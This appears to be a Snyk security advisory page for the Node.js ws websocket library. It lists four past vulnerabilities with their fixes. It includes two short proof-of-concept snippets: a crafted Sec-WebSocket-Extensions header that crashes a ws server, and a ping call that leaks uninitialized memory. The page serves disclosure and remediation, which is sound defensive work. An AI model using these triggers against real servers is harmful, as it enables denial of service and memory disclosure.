Last tested: 20 Feb, 2018

ws vulnerabilities

Simple to use, blazing fast and thoroughly tested websocket client and server for Node.js

View on npm

ws (latest)

Published 18 Feb, 2018

Known vulnerabilities0
Vulnerable paths0
Dependencies3

No known vulnerabilities in ws

Security wise, ws seems to be a safe package to use.
Over time, new vulnerabilities may be disclosed on ws and other packages. To easily find, fix and prevent such vulnerabilties, protect your repos with Snyk!

Vulnerable versions of ws

Fixed in 3.3.1

Denial of Service (DoS)

high severity
  • Vulnerable module: ws
  • Introduced through: ws@3.3.0

Detailed paths

  • Introduced through: ws@3.3.0

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of the package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Remediation

Upgrade ws to version 1.1.5, 3.3.1 or higher.

References

Fixed in 1.1.2

Insecure Randomness

medium severity

Detailed paths

  • Introduced through: karma@1.1.1 > socket.io@1.4.7 > engine.io@1.6.10 > ws@1.0.1
  • Introduced through: karma@1.1.1 > socket.io@1.4.7 > socket.io-client@1.4.6 > engine.io-client@1.6.9 > ws@1.0.1
  • Introduced through: browser-sync@1.1.1 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.1.1 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.1.1

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of the package use the cryptographically insecure Math.random() which can produce predictable values and should not be used in security-sensitive context.

Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.

There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

You can read more about node's insecure Math.random() in Mike Malone's post.

Remediation

Upgrade ws to version 1.1.2 or higher.

References

Fixed in 1.1.1

Denial of Service (DoS)

high severity

Detailed paths

  • Introduced through: socket.io@1.1.0 > engine.io@1.4.0 > ws@0.4.31
  • Introduced through: socket.io@1.1.0 > socket.io-client@1.1.0 > engine.io-client@1.4.0 > ws@0.4.31
  • Introduced through: karma@1.1.0 > socket.io@1.4.7 > engine.io@1.6.10 > ws@1.0.1
  • Introduced through: karma@1.1.0 > socket.io@1.4.7 > socket.io-client@1.4.6 > engine.io-client@1.6.9 > ws@1.0.1
  • Introduced through: browser-sync@1.1.0 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.1.0 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.1.0

Overview

The ws package does not limit the size of an incoming payload before it is processed by default. As a result, a very large payload (over 256MB in size) can lead to a failed allocation and crash the node process - enabling a Denial of Service attack.

While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds.

Remediation

Update to version 1.1.1 or greater, which sets a default maxPayload of 100MB. If you cannot upgrade, apply a Snyk patch, or provide ws with options setting the maxPayload to an appropriate size that is smaller than 256MB.

References

Fixed in 1.0.1

Remote Memory Exposure

medium severity

Detailed paths

  • Introduced through: socket.io@1.0.0 > engine.io@1.2.1 > ws@0.4.31
  • Introduced through: socket.io@1.0.0 > socket.io-client@1.0.0-pre5 > engine.io-client@1.2.1 > ws@0.4.31
  • Introduced through: browser-sync@1.0.0 > socket.io@1.0.4 > engine.io@1.2.2 > ws@0.4.31
  • Introduced through: browser-sync@1.0.0 > socket.io@1.0.4 > socket.io-client@1.0.4 > engine.io-client@1.2.2 > ws@0.4.31
  • Introduced through: ws@1.0.0

Overview

ws is a simple to use websocket client, server and console for node.js. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.

In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":

// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');

This would allocate 100 bytes of memory in the first example and just 3 bytes with 100 as value in the second example.

ws's ping function uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code.

Proof of Concept:

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data)
  })
})

You can read more about the insecure Buffer behavior on our blog.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

References